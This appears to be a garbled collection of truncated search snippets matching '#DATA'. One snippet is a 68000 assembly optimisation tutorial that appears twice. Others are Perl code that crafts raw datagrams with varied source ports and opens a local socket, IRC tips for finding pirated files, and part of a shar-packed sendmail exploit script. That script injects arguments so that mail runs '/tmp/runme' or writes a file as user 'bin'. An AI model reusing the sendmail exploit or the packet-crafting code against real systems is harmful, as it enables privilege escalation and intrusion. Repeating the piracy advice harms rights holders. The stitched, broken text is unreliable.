#DATA

... 0 loop MOVE.W (A0)+,(A1) 12 LEA 160(A1),A1 8 DBRA D0,loop RTS A few remarks. As you can see, I use LEA DATA(PC),A0 instead of the more obvious MOVE.L #DATA,A0. Simple, LEA is faster. Also, I use MOVEQ wherever possible. And I used LEA 160(A1),A1 instead of ADD.W #160,A1. Faster again. But the real trick is in the DBRA. If you take a clockcycle sheet, you will see that DBRA takes 10 cycles if the branch is taken and 12 if it isn't. So that makes 15*10+12=162 cycles. Plus the 320 cycles of the other instructions, the whole loop will take 482 cycles. Imagine loosing the DBRA and the LEA instruction, saving 18 cycles per loop. Just repeat the MOVE ...

... port[$x], #Vetor para cada uma das 5 portas de origem dest => 80, #porta 80 de destino, geralmente aceita (web) len => 5, data => $send_data #DATA (string) } }); $packet->send(0,1); #envia o datagrama -------------- code ---------------- 6.2. The Client Socket Simple, isn't it? The datagram is generated and sent to the destination address. Let's go to the second part of the client: -------------- code ---------------- . . . $local = IO::Socket::INET->new(Listen=>1, Proto=>'tcp', #Protocolo LocalAddr=>'127.0.0.1', #Ip local LocalPort=>9090, #porta local ReuseAddr=>1,) or die "$!"; $local->aut ...

... 0 loop MOVE.W (A0)+,(A1) 12 LEA 160(A1),A1 8 DBRA D0,loop RTS A few remarks. As you can see, I use LEA DATA(PC),A0 instead of the more obvious MOVE.L #DATA,A0. Simple, LEA is faster. Also, I use MOVEQ wherever possible. And I used LEA 160(A1),A1 instead of ADD.W #160,A1. Faster again. But the real trick is in the DBRA. If you take a clockcycle sheet, you will see that DBRA takes 10 cycles if the branch is taken and 12 if it isn't. So that makes 15*10+12=162 cycles. Plus the 320 cycles of the other instructions, the whole loop will take 482 cycles. Imagine loosing the DBRA and the LEA instruction, saving 18 cycles per loop. Just repeat the MOVE ...

... ooking for people to bust for copyright infrigement so do these types of things AT YOUR OWN RISK ----------------------------------- irc.addictz.net (#DATAvault, you need to reg nick) irc.efnet.com (loads of chans) irc.undernet.org (loads of chans) Also when you have to wait for a file you can put auto accept on and go to sleep alt+o > DCC > auto accept ...

... un a program. X#ACTION="|/tmp/runme" XACTION="/tmp/writeme" X X# Data file to read from and then remove XDATAFILE="/tmp/abc" X#DATAFILE="" X X# Who to run as XRUNAS="bin" X X# Who to send mail to XWHOAMI=`whoami` XSENDTO=$WHOAMI X#SENDTO="someone-else" X X# Build up arg and send it off Xif [ -n "$DATAFILE" ] ; then XARG="$WHOAMI XD$DATAFILE XC:$RUNAS XR\"$ACTION\"" Xelse XARG="$WHOAMI XC:$RUNAS XR\"$ACTION\"" Xfi Xsendmail -odq -F"$ARG" $SENDTO << _END_ XThis is appearing in the mailbox Xand also being piped to the program or Xwritten to the file, UNLESS you specify Xa datafile above. In that case the datafile Xwill b ...